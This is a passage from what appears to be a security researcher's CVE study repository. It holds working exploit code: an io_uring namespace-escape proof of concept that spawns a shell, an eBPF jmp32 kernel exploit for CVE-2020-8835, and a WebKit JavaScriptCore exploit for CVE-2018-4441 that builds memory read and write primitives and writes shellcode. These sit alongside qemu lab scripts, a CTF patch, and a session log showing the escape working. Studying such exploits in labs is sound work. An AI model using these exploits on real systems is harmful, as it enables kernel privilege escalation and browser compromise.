(typeof(x))-1) \ 23 | err(1, "SYSCHK(" #x ")"); \ 24 | __res; \ 25 | }) 26 | 27 | int main(void) { 28 | // initialize uring 29 | struct io_uring_params params = { }; 30 | int uring_fd = SYSCHK(syscall(SYS_io_uring_setup, /*entries=*/10, ¶ms)); 31 | unsigned char *sq_ring = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_SQ_RING)); 32 | unsigned char *cq_ring = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_CQ_RING)); 33 | struct io_uring_sqe *sqes = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_SQES)); 34 | 35 | // execute openat via uring 36 | sqes[0] = (struct io_uring_sqe) { 37 | .opcode = IORING_OP_OPENAT, 38 | .flags = IOSQE_ASYNC, 39 | .fd = open("/", O_RDONLY), 40 | .addr = (unsigned long)"/", 41 | .open_flags = O_PATH | O_DIRECTORY 42 | }; 43 | ((int*)(sq_ring + params.sq_off.array))[0] = 0; 44 | (*(int*)(sq_ring + params.sq_off.tail))++; 45 | 46 | int submitted = SYSCHK(syscall(SYS_io_uring_enter, uring_fd, /*to_submit=*/1, /*min_complete=*/1, /*flags=*/IORING_ENTER_GETEVENTS, /*sig=*/NULL, /*sigsz=*/0)); 47 | printf("submitted %d, getevents done\n", submitted); 48 | int cq_tail = *(int*)(cq_ring + params.cq_off.tail); 49 | printf("cq_tail = %d\n", cq_tail); 50 | if (cq_tail != 1) errx(1, "expected cq_tail==1"); 51 | struct io_uring_cqe *cqe = (void*)(cq_ring + params.cq_off.cqes); 52 | if (cqe->res < 0) { 53 | printf("result: %d (%s)\n", cqe->res, strerror(-cqe->res)); 54 | } else { 55 | printf("result: %d\n", cqe->res); 56 | printf("launching shell\n"); 57 | system("sh"); 58 | /*system("cat /proc/self/fd/5/tmp/real");*/ 59 | printf("exiting\n"); 60 | } 61 | } 62 | -------------------------------------------------------------------------------- /0x02-p0-issue-2011-io_uring_namespace/initramfs.cpio: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rtfingc/cve-repo/1be49bac8a3f20c3587246a3c853a29b7bd5f96c/0x02-p0-issue-2011-io_uring_namespace/initramfs.cpio -------------------------------------------------------------------------------- /0x02-p0-issue-2011-io_uring_namespace/io_uring.h: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */ 2 | /* 3 | * Header file for the io_uring interface. 4 | * 5 | * Copyright (C) 2019 Jens Axboe 6 | * Copyright (C) 2019 Christoph Hellwig 7 | */ 8 | #ifndef LINUX_IO_URING_H 9 | #define LINUX_IO_URING_H 10 | 11 | #include 12 | #include 13 | 14 | /* 15 | * IO submission data structure (Submission Queue Entry) 16 | */ 17 | struct io_uring_sqe { 18 | __u8 opcode; /* type of operation for this sqe */ 19 | __u8 flags; /* IOSQE_ flags */ 20 | __u16 ioprio; /* ioprio for the request */ 21 | __s32 fd; /* file descriptor to do IO on */ 22 | union { 23 | __u64 off; /* offset into file */ 24 | __u64 addr2; 25 | }; 26 | __u64 addr; /* pointer to buffer or iovecs */ 27 | __u32 len; /* buffer size or number of iovecs */ 28 | union { 29 | __kernel_rwf_t rw_flags; 30 | __u32 fsync_flags; 31 | __u16 poll_events; 32 | __u32 sync_range_flags; 33 | __u32 msg_flags; 34 | __u32 timeout_flags; 35 | __u32 accept_flags; 36 | __u32 cancel_flags; 37 | __u32 open_flags; 38 | __u32 statx_flags; 39 | __u32 fadvise_advice; 40 | }; 41 | __u64 user_data; /* data to be passed back at completion time */ 42 | union { 43 | struct { 44 | /* index into fixed buffers, if used */ 45 | __u16 buf_index; 46 | /* personality to use, if used */ 47 | __u16 personality; 48 | }; 49 | __u64 __pad2[3]; 50 | }; 51 | }; 52 | 53 | enum { 54 | IOSQE_FIXED_FILE_BIT, 55 | IOSQE_IO_DRAIN_BIT, 56 | IOSQE_IO_LINK_BIT, 57 | IOSQE_IO_HARDLINK_BIT, 58 | IOSQE_ASYNC_BIT, 59 | }; 60 | 61 | /* 62 | * sqe->flags 63 | */ 64 | /* use fixed fileset */ 65 | #define IOSQE_FIXED_FILE (1U << IOSQE_FIXED_FILE_BIT) 66 | /* issue after inflight IO */ 67 | #define IOSQE_IO_DRAIN (1U << IOSQE_IO_DRAIN_BIT) 68 | /* links next sqe */ 69 | #define IOSQE_IO_LINK (1U << IOSQE_IO_LINK_BIT) 70 | /* like LINK, but stronger */ 71 | #define IOSQE_IO_HARDLINK (1U << IOSQE_IO_HARDLINK_BIT) 72 | /* always go async */ 73 | #define IOSQE_ASYNC (1U << IOSQE_ASYNC_BIT) 74 | 75 | /* 76 | * io_uring_setup() flags 77 | */ 78 | #define IORING_SETUP_IOPOLL (1U << 0) /* io_context is polled */ 79 | #define IORING_SETUP_SQPOLL (1U << 1) /* SQ poll thread */ 80 | #define IORING_SETUP_SQ_AFF (1U << 2) /* sq_thread_cpu is valid */ 81 | #define IORING_SETUP_CQSIZE (1U << 3) /* app defines CQ size */ 82 | #define IORING_SETUP_CLAMP (1U << 4) /* clamp SQ/CQ ring sizes */ 83 | #define IORING_SETUP_ATTACH_WQ (1U << 5) /* attach to existing wq */ 84 | 85 | enum { 86 | IORING_OP_NOP, 87 | IORING_OP_READV, 88 | IORING_OP_WRITEV, 89 | IORING_OP_FSYNC, 90 | IORING_OP_READ_FIXED, 91 | IORING_OP_WRITE_FIXED, 92 | IORING_OP_POLL_ADD, 93 | IORING_OP_POLL_REMOVE, 94 | IORING_OP_SYNC_FILE_RANGE, 95 | IORING_OP_SENDMSG, 96 | IORING_OP_RECVMSG, 97 | IORING_OP_TIMEOUT, 98 | IORING_OP_TIMEOUT_REMOVE, 99 | IORING_OP_ACCEPT, 100 | IORING_OP_ASYNC_CANCEL, 101 | IORING_OP_LINK_TIMEOUT, 102 | IORING_OP_CONNECT, 103 | IORING_OP_FALLOCATE, 104 | IORING_OP_OPENAT, 105 | IORING_OP_CLOSE, 106 | IORING_OP_FILES_UPDATE, 107 | IORING_OP_STATX, 108 | IORING_OP_READ, 109 | IORING_OP_WRITE, 110 | IORING_OP_FADVISE, 111 | IORING_OP_MADVISE, 112 | IORING_OP_SEND, 113 | IORING_OP_RECV, 114 | IORING_OP_OPENAT2, 115 | IORING_OP_EPOLL_CTL, 116 | 117 | /* this goes last, obviously */ 118 | IORING_OP_LAST, 119 | }; 120 | 121 | /* 122 | * sqe->fsync_flags 123 | */ 124 | #define IORING_FSYNC_DATASYNC (1U << 0) 125 | 126 | /* 127 | * sqe->timeout_flags 128 | */ 129 | #define IORING_TIMEOUT_ABS (1U << 0) 130 | 131 | /* 132 | * IO completion data structure (Completion Queue Entry) 133 | */ 134 | struct io_uring_cqe { 135 | __u64 user_data; /* sqe->data submission passed back */ 136 | __s32 res; /* result code for this event */ 137 | __u32 flags; 138 | }; 139 | 140 | /* 141 | * Magic offsets for the application to mmap the data it needs 142 | */ 143 | #define IORING_OFF_SQ_RING 0ULL 144 | #define IORING_OFF_CQ_RING 0x8000000ULL 145 | #define IORING_OFF_SQES 0x10000000ULL 146 | 147 | /* 148 | * Filled with the offset for mmap(2) 149 | */ 150 | struct io_sqring_offsets { 151 | __u32 head; 152 | __u32 tail; 153 | __u32 ring_mask; 154 | __u32 ring_entries; 155 | __u32 flags; 156 | __u32 dropped; 157 | __u32 array; 158 | __u32 resv1; 159 | __u64 resv2; 160 | }; 161 | 162 | /* 163 | * sq_ring->flags 164 | */ 165 | #define IORING_SQ_NEED_WAKEUP (1U << 0) /* needs io_uring_enter wakeup */ 166 | 167 | struct io_cqring_offsets { 168 | __u32 head; 169 | __u32 tail; 170 | __u32 ring_mask; 171 | __u32 ring_entries; 172 | __u32 overflow; 173 | __u32 cqes; 174 | __u64 resv[2]; 175 | }; 176 | 177 | /* 178 | * io_uring_enter(2) flags 179 | */ 180 | #define IORING_ENTER_GETEVENTS (1U << 0) 181 | #define IORING_ENTER_SQ_WAKEUP (1U << 1) 182 | 183 | /* 184 | * Passed in for io_uring_setup(2). Copied back with updated info on success 185 | */ 186 | struct io_uring_params { 187 | __u32 sq_entries; 188 | __u32 cq_entries; 189 | __u32 flags; 190 | __u32 sq_thread_cpu; 191 | __u32 sq_thread_idle; 192 | __u32 features; 193 | __u32 wq_fd; 194 | __u32 resv[3]; 195 | struct io_sqring_offsets sq_off; 196 | struct io_cqring_offsets cq_off; 197 | }; 198 | 199 | /* 200 | * io_uring_params->features flags 201 | */ 202 | #define IORING_FEAT_SINGLE_MMAP (1U << 0) 203 | #define IORING_FEAT_NODROP (1U << 1) 204 | #define IORING_FEAT_SUBMIT_STABLE (1U << 2) 205 | #define IORING_FEAT_RW_CUR_POS (1U << 3) 206 | #define IORING_FEAT_CUR_PERSONALITY (1U << 4) 207 | 208 | /* 209 | * io_uring_register(2) opcodes and arguments 210 | */ 211 | #define IORING_REGISTER_BUFFERS 0 212 | #define IORING_UNREGISTER_BUFFERS 1 213 | #define IORING_REGISTER_FILES 2 214 | #define IORING_UNREGISTER_FILES 3 215 | #define IORING_REGISTER_EVENTFD 4 216 | #define IORING_UNREGISTER_EVENTFD 5 217 | #define IORING_REGISTER_FILES_UPDATE 6 218 | #define IORING_REGISTER_EVENTFD_ASYNC 7 219 | #define IORING_REGISTER_PROBE 8 220 | #define IORING_REGISTER_PERSONALITY 9 221 | #define IORING_UNREGISTER_PERSONALITY 10 222 | 223 | struct io_uring_files_update { 224 | __u32 offset; 225 | __u32 resv; 226 | __aligned_u64 /* __s32 * */ fds; 227 | }; 228 | 229 | #define IO_URING_OP_SUPPORTED (1U << 0) 230 | 231 | struct io_uring_probe_op { 232 | __u8 op; 233 | __u8 resv; 234 | __u16 flags; /* IO_URING_OP_* flags */ 235 | __u32 resv2; 236 | }; 237 | 238 | struct io_uring_probe { 239 | __u8 last_op; /* last opcode supported */ 240 | __u8 ops_len; /* length of ops[] array below */ 241 | __u16 resv; 242 | __u32 resv2[3]; 243 | struct io_uring_probe_op ops[0]; 244 | }; 245 | 246 | #endif 247 | -------------------------------------------------------------------------------- /0x02-p0-issue-2011-io_uring_namespace/qemu_cmd: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | #stty intr ^] 3 | 4 | 5 | bzImage_dir=$1 6 | cpio_dir=$2 7 | 8 | #run vm 9 | #timeout --foreground 600 10 | qemu-system-x86_64 \ 11 | -m 256M \ 12 | -enable-kvm \ 13 | -nographic -kernel $bzImage_dir \ 14 | -append 'root=/dev/ram rw console=ttyS0 loglevel=3 oops=panic panic=1 nokaslr' \ 15 | -initrd $cpio_dir \ 16 | -monitor /dev/null \ 17 | -smp cores=1,threads=1 \ 18 | -cpu kvm64,+smep,+smap -s 2>/dev/null 19 | -------------------------------------------------------------------------------- /0x02-p0-issue-2011-io_uring_namespace/sample: -------------------------------------------------------------------------------- 1 | /home/pwn # echo aaaa > /tmp/real 2 | /home/pwn # echo $$ 3 | 206 4 | /home/pwn # ls -al /proc/$$/ns |grep mnt 5 | lrwxrwxrwx 1 root 0 0 Apr 15 02:55 mnt -> mnt:[4026531840] 6 | /home/pwn # pstree -p |grep sh 7 | init(1)---rcS(171)---sh(206)-+-grep(212) 8 | /home/pwn # unshare -m --uts /bin/sh 9 | /bin/sh: can't access tty; job control turned off 10 | /home/pwn # echo $$ 11 | 213 12 | /home/pwn # pstree -p |grep sh 13 | init(1)---rcS(171)---sh(206)---sh(213)-+-grep(215) 14 | /home/pwn # ls -al /proc/$$/ns |grep mnt 15 | lrwxrwxrwx 1 root 0 0 Apr 15 02:56 mnt -> mnt:[4026532131] 16 | /home/pwn # mount -t tmpfs none /tmp 17 | /home/pwn # ls /tmp 18 | /home/pwn # /exp 19 | submitted 1, getevents done 20 | cq_tail = 1 21 | result: 5 22 | launching shell 23 | sh: can't access tty; job control turned off 24 | /home/pwn # echo $$ 25 | 223 26 | /home/pwn # pstree -p |grep sh 27 | init(1)---rcS(171)---sh(206)---sh(213)---exp(220)---sh(223)-+-grep(225) 28 | /home/pwn # ls -al /proc/$$/ns |grep mnt 29 | lrwxrwxrwx 1 root 0 0 Apr 15 02:57 mnt -> mnt:[4026532131] 30 | /home/pwn # ls -al /proc/$$/fd/ 31 | total 0 32 | dr-x------ 2 root 0 0 Apr 15 02:58 . 33 | dr-xr-xr-x 9 root 0 0 Apr 15 02:57 .. 34 | lrwx------ 1 root 0 64 Apr 15 02:58 0 -> /dev/console 35 | lrwx------ 1 root 0 64 Apr 15 02:58 1 -> /dev/console 36 | lrwx------ 1 root 0 64 Apr 15 02:58 2 -> /dev/console 37 | lr-x------ 1 root 0 64 Apr 15 02:58 4 -> / 38 | l--------- 1 root 0 64 Apr 15 02:58 5 -> / 39 | /home/pwn # cat /proc/$$/fd/5/tmp/real 40 | aaaa 41 | /home/pwn # C# 42 | -------------------------------------------------------------------------------- /0x04-pwn2own-ebpf-jmp32-cve-2020-8835/bzImage: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rtfingc/cve-repo/1be49bac8a3f20c3587246a3c853a29b7bd5f96c/0x04-pwn2own-ebpf-jmp32-cve-2020-8835/bzImage -------------------------------------------------------------------------------- /0x04-pwn2own-ebpf-jmp32-cve-2020-8835/exp/Makefile: -------------------------------------------------------------------------------- 1 | exp: exp.c 2 | gcc -s --static -o $@ $^ -lpthread 3 | #gcc -masm=intel --static -o $@ $^ -lpthread 4 | clean: exp 5 | rm $^ 6 | -------------------------------------------------------------------------------- /0x04-pwn2own-ebpf-jmp32-cve-2020-8835/exp/bpf_insn.h: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: GPL-2.0 */ 2 | /* eBPF instruction mini library */ 3 | #ifndef __BPF_INSN_H 4 | #define __BPF_INSN_H 5 | 6 | struct bpf_insn; 7 | 8 | /* ALU ops on registers, bpf_add|sub|...: dst_reg += src_reg */ 9 | 10 | #define BPF_ALU64_REG(OP, DST, SRC) \ 11 | ((struct bpf_insn) { \ 12 | .code = BPF_ALU64 | BPF_OP(OP) | BPF_X, \ 13 | .dst_reg = DST, \ 14 | .src_reg = SRC, \ 15 | .off = 0, \ 16 | .imm = 0 }) 17 | 18 | #define BPF_ALU32_REG(OP, DST, SRC) \ 19 | ((struct bpf_insn) { \ 20 | .code = BPF_ALU | BPF_OP(OP) | BPF_X, \ 21 | .dst_reg = DST, \ 22 | .src_reg = SRC, \ 23 | .off = 0, \ 24 | .imm = 0 }) 25 | 26 | /* ALU ops on immediates, bpf_add|sub|...: dst_reg += imm32 */ 27 | 28 | #define BPF_ALU64_IMM(OP, DST, IMM) \ 29 | ((struct bpf_insn) { \ 30 | .code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \ 31 | .dst_reg = DST, \ 32 | .src_reg = 0, \ 33 | .off = 0, \ 34 | .imm = IMM }) 35 | 36 | #define BPF_ALU32_IMM(OP, DST, IMM) \ 37 | ((struct bpf_insn) { \ 38 | .code = BPF_ALU | BPF_OP(OP) | BPF_K, \ 39 | .dst_reg = DST, \ 40 | .src_reg = 0, \ 41 | .off = 0, \ 42 | .imm = IMM }) 43 | 44 | /* Short form of mov, dst_reg = src_reg */ 45 | 46 | #define BPF_MOV64_REG(DST, SRC) \ 47 | ((struct bpf_insn) { \ 48 | .code = BPF_ALU64 | BPF_MOV | BPF_X, \ 49 | .dst_reg = DST, \ 50 | .src_reg = SRC, \ 51 | .off = 0, \ 52 | .imm = 0 }) 53 | 54 | #define BPF_MOV32_REG(DST, SRC) \ 55 | ((struct bpf_insn) { \ 56 | .code = BPF_ALU | BPF_MOV | BPF_X, \ 57 | .dst_reg = DST, \ 58 | .src_reg = SRC, \ 59 | .off = 0, \ 60 | .imm = 0 }) 61 | 62 | /* Short form of mov, dst_reg = imm32 */ 63 | 64 | #define BPF_MOV64_IMM(DST, IMM) \ 65 | ((struct bpf_insn) { \ 66 | .code = BPF_ALU64 | BPF_MOV | BPF_K, \ 67 | .dst_reg = DST, \ 68 | .src_reg = 0, \ 69 | .off = 0, \ 70 | .imm = IMM }) 71 | 72 | #define BPF_MOV32_IMM(DST, IMM) \ 73 | ((struct bpf_insn) { \ 74 | .code = BPF_ALU | BPF_MOV | BPF_K, \ 75 | .dst_reg = DST, \ 76 | .src_reg = 0, \ 77 | .off = 0, \ 78 | .imm = IMM }) 79 | 80 | /* BPF_LD_IMM64 macro encodes single 'load 64-bit immediate' insn */ 81 | #define BPF_LD_IMM64(DST, IMM) \ 82 | BPF_LD_IMM64_RAW(DST, 0, IMM) 83 | 84 | #define BPF_LD_IMM64_RAW(DST, SRC, IMM) \ 85 | ((struct bpf_insn) { \ 86 | .code = BPF_LD | BPF_DW | BPF_IMM, \ 87 | .dst_reg = DST, \ 88 | .src_reg = SRC, \ 89 | .off = 0, \ 90 | .imm = (__u32) (IMM) }), \ 91 | ((struct bpf_insn) { \ 92 | .code = 0, /* zero is reserved opcode */ \ 93 | .dst_reg = 0, \ 94 | .src_reg = 0, \ 95 | .off = 0, \ 96 | .imm = ((__u64) (IMM)) >> 32 }) 97 | 98 | #ifndef BPF_PSEUDO_MAP_FD 99 | # define BPF_PSEUDO_MAP_FD 1 100 | #endif 101 | 102 | /* pseudo BPF_LD_IMM64 insn used to refer to process-local map_fd */ 103 | #define BPF_LD_MAP_FD(DST, MAP_FD) \ 104 | BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD) 105 | 106 | 107 | /* Direct packet access, R0 = *(uint *) (skb->data + imm32) */ 108 | 109 | #define BPF_LD_ABS(SIZE, IMM) \ 110 | ((struct bpf_insn) { \ 111 | .code = BPF_LD | BPF_SIZE(SIZE) | BPF_ABS, \ 112 | .dst_reg = 0, \ 113 | .src_reg = 0, \ 114 | .off = 0, \ 115 | .imm = IMM }) 116 | 117 | /* Memory load, dst_reg = *(uint *) (src_reg + off16) */ 118 | 119 | #define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \ 120 | ((struct bpf_insn) { \ 121 | .code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \ 122 | .dst_reg = DST, \ 123 | .src_reg = SRC, \ 124 | .off = OFF, \ 125 | .imm = 0 }) 126 | 127 | /* Memory store, *(uint *) (dst_reg + off16) = src_reg */ 128 | 129 | #define BPF_STX_MEM(SIZE, DST, SRC, OFF) \ 130 | ((struct bpf_insn) { \ 131 | .code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \ 132 | .dst_reg = DST, \ 133 | .src_reg = SRC, \ 134 | .off = OFF, \ 135 | .imm = 0 }) 136 | 137 | /* Atomic memory add, *(uint *)(dst_reg + off16) += src_reg */ 138 | 139 | #define BPF_STX_XADD(SIZE, DST, SRC, OFF) \ 140 | ((struct bpf_insn) { \ 141 | .code = BPF_STX | BPF_SIZE(SIZE) | BPF_XADD, \ 142 | .dst_reg = DST, \ 143 | .src_reg = SRC, \ 144 | .off = OFF, \ 145 | .imm = 0 }) 146 | 147 | /* Memory store, *(uint *) (dst_reg + off16) = imm32 */ 148 | 149 | #define BPF_ST_MEM(SIZE, DST, OFF, IMM) \ 150 | ((struct bpf_insn) { \ 151 | .code = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \ 152 | .dst_reg = DST, \ 153 | .src_reg = 0, \ 154 | .off = OFF, \ 155 | .imm = IMM }) 156 | 157 | /* Conditional jumps against registers, if (dst_reg 'op' src_reg) goto pc + off16 */ 158 | 159 | #define BPF_JMP_REG(OP, DST, SRC, OFF) \ 160 | ((struct bpf_insn) { \ 161 | .code = BPF_JMP | BPF_OP(OP) | BPF_X, \ 162 | .dst_reg = DST, \ 163 | .src_reg = SRC, \ 164 | .off = OFF, \ 165 | .imm = 0 }) 166 | 167 | /* Like BPF_JMP_REG, but with 32-bit wide operands for comparison. */ 168 | 169 | #define BPF_JMP32_REG(OP, DST, SRC, OFF) \ 170 | ((struct bpf_insn) { \ 171 | .code = BPF_JMP32 | BPF_OP(OP) | BPF_X, \ 172 | .dst_reg = DST, \ 173 | .src_reg = SRC, \ 174 | .off = OFF, \ 175 | .imm = 0 }) 176 | 177 | /* Conditional jumps against immediates, if (dst_reg 'op' imm32) goto pc + off16 */ 178 | 179 | #define BPF_JMP_IMM(OP, DST, IMM, OFF) \ 180 | ((struct bpf_insn) { \ 181 | .code = BPF_JMP | BPF_OP(OP) | BPF_K, \ 182 | .dst_reg = DST, \ 183 | .src_reg = 0, \ 184 | .off = OFF, \ 185 | .imm = IMM }) 186 | 187 | /* Like BPF_JMP_IMM, but with 32-bit wide operands for comparison. */ 188 | 189 | #define BPF_JMP32_IMM(OP, DST, IMM, OFF) \ 190 | ((struct bpf_insn) { \ 191 | .code = BPF_JMP32 | BPF_OP(OP) | BPF_K, \ 192 | .dst_reg = DST, \ 193 | .src_reg = 0, \ 194 | .off = OFF, \ 195 | .imm = IMM }) 196 | 197 | /* Raw code statement block */ 198 | 199 | #define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM) \ 200 | ((struct bpf_insn) { \ 201 | .code = CODE, \ 202 | .dst_reg = DST, \ 203 | .src_reg = SRC, \ 204 | .off = OFF, \ 205 | .imm = IMM }) 206 | 207 | /* Program exit */ 208 | 209 | #define BPF_EXIT_INSN() \ 210 | ((struct bpf_insn) { \ 211 | .code = BPF_JMP | BPF_EXIT, \ 212 | .dst_reg = 0, \ 213 | .src_reg = 0, \ 214 | .off = 0, \ 215 | .imm = 0 }) 216 | 217 | #endif 218 | -------------------------------------------------------------------------------- /0x04-pwn2own-ebpf-jmp32-cve-2020-8835/exp/exp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rtfingc/cve-repo/1be49bac8a3f20c3587246a3c853a29b7bd5f96c/0x04-pwn2own-ebpf-jmp32-cve-2020-8835/exp/exp -------------------------------------------------------------------------------- /0x04-pwn2own-ebpf-jmp32-cve-2020-8835/exp/exp.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include "linux/bpf.h" 13 | #include "bpf_insn.h" 14 | 15 | int ctrlmapfd, expmapfd; 16 | int progfd; 17 | int sockets[2]; 18 | #define LOG_BUF_SIZE 65535 19 | char bpf_log_buf[LOG_BUF_SIZE]; 20 | 21 | void gen_fake_elf(){ 22 | system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag\n' > /tmp/chmod"); 23 | system("chmod +x /tmp/chmod"); 24 | system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/fake"); 25 | system("chmod +x /tmp/fake"); 26 | } 27 | void init(){ 28 | setbuf(stdin,0); 29 | setbuf(stdout,0); 30 | gen_fake_elf(); 31 | } 32 | void x64dump(char *buf,uint32_t num){ 33 | uint64_t *buf64 = (uint64_t *)buf; 34 | printf("[-x64dump-] start : \n"); 35 | for(int i=0;i/dev/null 19 | -------------------------------------------------------------------------------- /0x05-lokihardt-webkit-cve-2018-4441-shiftCountWithArrayStorage/exp.js: -------------------------------------------------------------------------------- 1 | var conversion_buffer = new ArrayBuffer(8) 2 | var f64 = new Float64Array(conversion_buffer) 3 | var i32 = new Uint32Array(conversion_buffer) 4 | 5 | var BASE32 = 0x100000000 6 | function f2i(f) { 7 | f64[0] = f 8 | return i32[0] + BASE32 * i32[1] 9 | } 10 | 11 | function i2f(i) { 12 | i32[0] = i % BASE32 13 | i32[1] = i / BASE32 14 | return f64[0] 15 | } 16 | 17 | function user_gc() { 18 | for (let i = 0; i < 10; i++) { 19 | let ab = new ArrayBuffer(1024 * 1024 * 10); 20 | } 21 | } 22 | 23 | let arr = [1]; 24 | 25 | arr.length = 0x100000; 26 | arr.splice(0, 0x11); 27 | arr.length = 0xfffffff0; 28 | 29 | let spray = new Array(0x3000); 30 | 31 | for (let i = 0; i < 0x3000; i += 2) { 32 | spray[i] = [13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37+i]; 33 | spray[i+1] = [{},{},{},{},{},{},{},{},{},{}]; 34 | } 35 | for (let i = 0; i < 0x3000; i += 2) 36 | spray[i][0] = i2f(0x1337) 37 | 38 | 39 | arr.splice(0x1000,0,1); 40 | 41 | fake_index=-1; 42 | for(let i=0;i<0x3000;i+=2){ 43 | if(spray[i].length!=10){ 44 | print("hit: "+i.toString(16)); 45 | fake_index=i; 46 | break; 47 | } 48 | } 49 | 50 | unboxed = spray[fake_index]; 51 | boxed = spray[fake_index+1]; 52 | print(describe(unboxed)) 53 | print(describe(boxed)) 54 | 55 | 56 | function addrof(obj){ 57 | boxed[0] = obj; 58 | return f2i(unboxed[14]); 59 | 60 | } 61 | 62 | function fakeobj(addr){ 63 | unboxed[14] = i2f(addr); 64 | return boxed[0]; 65 | } 66 | 67 | 68 | 69 | victim = [1.1]; 70 | victim[0] =3.3;; 71 | victim['prop'] = 13.37; 72 | victim['prop'+1] = 13.37; 73 | print(describe(victim)) 74 | print(addrof(victim).toString(16)) 75 | 76 | i32[0]=100; 77 | i32[1]=0x01082107 - 0x10000; 78 | var container={ 79 | jscell:f64[0], 80 | butterfly:victim, 81 | } 82 | print(describe(container)) 83 | container_addr = addrof(container); 84 | hax = fakeobj(container_addr+0x10); 85 | 86 | var unboxed2 = [1.1]; 87 | unboxed2[0] =3.3; 88 | 89 | var boxed2 = [{}] 90 | 91 | hax[1] = i2f(addrof(unboxed2)) 92 | var shared = victim[1]; 93 | hax[1] = i2f(addrof(boxed2)) 94 | victim[1] = shared; 95 | 96 | var stage2={ 97 | addrof: function(obj){ 98 | boxed2[0] = obj; 99 | return f2i(unboxed2[0]); 100 | }, 101 | fakeobj: function(addr){ 102 | unboxed2[0] = i2f(addr); 103 | return boxed2[0]; 104 | }, 105 | read64: function(addr){ 106 | hax[1] = i2f(addr + 0x10); 107 | return this.addrof(victim.prop); 108 | }, 109 | write64: function(addr,data){ 110 | hax[1] = i2f(addr+0x10); 111 | victim.prop = this.fakeobj(data) 112 | }, 113 | write: function(addr, shellcode) { 114 | var theAddr = addr; 115 | for(var i=0;ipreviousID(); 6 | if (!previous) 7 | return false; 8 | 9 | unsigned unused; 10 | bool isLastAddedProperty = !isValidOffset(previous->get(vm, propertyName, unused)); 11 | if (!isLastAddedProperty) 12 | return false; 13 | 14 | RELEASE_ASSERT(Structure::addPropertyTransition(vm, previous, propertyName, attributes, offset) == structure); 15 | 16 | if (offset == firstOutOfLineOffset && !structure->hasIndexingHeader(thisObject)) { 17 | ASSERT(!previous->hasIndexingHeader(thisObject) && structure->outOfLineCapacity() > 0 && previous->outOfLineCapacity() == 0); 18 | thisObject->setButterfly(vm, nullptr); 19 | } 20 | 21 | thisObject->setStructure(vm, previous); 22 | 23 | return true; 24 | } 25 | 26 | // no trigger jit watchpoint 27 | if (!tryDeletePropertyQuickly(vm, thisObject, structure, propertyName, attributes, offset)) { 28 | thisObject->setStructure(vm, Structure::removePropertyTransition(vm, structure, propertyName, offset)); 29 | } 30 | 31 | 32 | https://github.com/saelo/35c3ctf/tree/master/WebKid 33 | -------------------------------------------------------------------------------- /0x06-35c3-webkid-no-jit-watchpoint-patch/webkid.patch: -------------------------------------------------------------------------------- 1 | diff --git a/Source/JavaScriptCore/runtime/JSObject.cpp b/Source/JavaScriptCore/runtime/JSObject.cpp 2 | index 20fcd4032ce..a75e4ef47ba 100644 3 | --- a/Source/JavaScriptCore/runtime/JSObject.cpp 4 | +++ b/Source/JavaScriptCore/runtime/JSObject.cpp 5 | @@ -1920,6 +1920,31 @@ bool JSObject::hasPropertyGeneric(ExecState* exec, unsigned propertyName, Proper 6 | return const_cast(this)->getPropertySlot(exec, propertyName, slot); 7 | } 8 | 9 | +static bool tryDeletePropertyQuickly(VM& vm, JSObject* thisObject, Structure* structure, PropertyName propertyName, unsigned attributes, PropertyOffset offset) 10 | +{ 11 | + ASSERT(isInlineOffset(offset) || isOutOfLineOffset(offset)); 12 | + 13 | + Structure* previous = structure->previousID(); 14 | + if (!previous) 15 | + return false; 16 | + 17 | + unsigned unused; 18 | + bool isLastAddedProperty = !isValidOffset(previous->get(vm, propertyName, unused)); 19 | + if (!isLastAddedProperty) 20 | + return false; 21 | + 22 | + RELEASE_ASSERT(Structure::addPropertyTransition(vm, previous, propertyName, attributes, offset) == structure); 23 | + 24 | + if (offset == firstOutOfLineOffset && !structure->hasIndexingHeader(thisObject)) { 25 | + ASSERT(!previous->hasIndexingHeader(thisObject) && structure->outOfLineCapacity() > 0 && previous->outOfLineCapacity() == 0); 26 | + thisObject->setButterfly(vm, nullptr); 27 | + } 28 | + 29 | + thisObject->setStructure(vm, previous); 30 | + 31 | + return true; 32 | +} 33 | + 34 | // ECMA 8.6.2.5 35 | bool JSObject::deleteProperty(JSCell* cell, ExecState* exec, PropertyName propertyName) 36 | { 37 | @@ -1946,18 +1971,21 @@ bool JSObject::deleteProperty(JSCell* cell, ExecState* exec, PropertyName proper 38 | 39 | Structure* structure = thisObject->structure(vm); 40 | 41 | - bool propertyIsPresent = isValidOffset(structure->get(vm, propertyName, attributes)); 42 | + PropertyOffset offset = structure->get(vm, propertyName, attributes); 43 | + bool propertyIsPresent = isValidOffset(offset); 44 | if (propertyIsPresent) { 45 | if (attributes & PropertyAttribute::DontDelete && vm.deletePropertyMode() != VM::DeletePropertyMode::IgnoreConfigurable) 46 | return false; 47 | 48 | - PropertyOffset offset; 49 | - if (structure->isUncacheableDictionary()) 50 | + if (structure->isUncacheableDictionary()) { 51 | offset = structure->removePropertyWithoutTransition(vm, propertyName, [] (const ConcurrentJSLocker&, PropertyOffset) { }); 52 | - else 53 | - thisObject->setStructure(vm, Structure::removePropertyTransition(vm, structure, 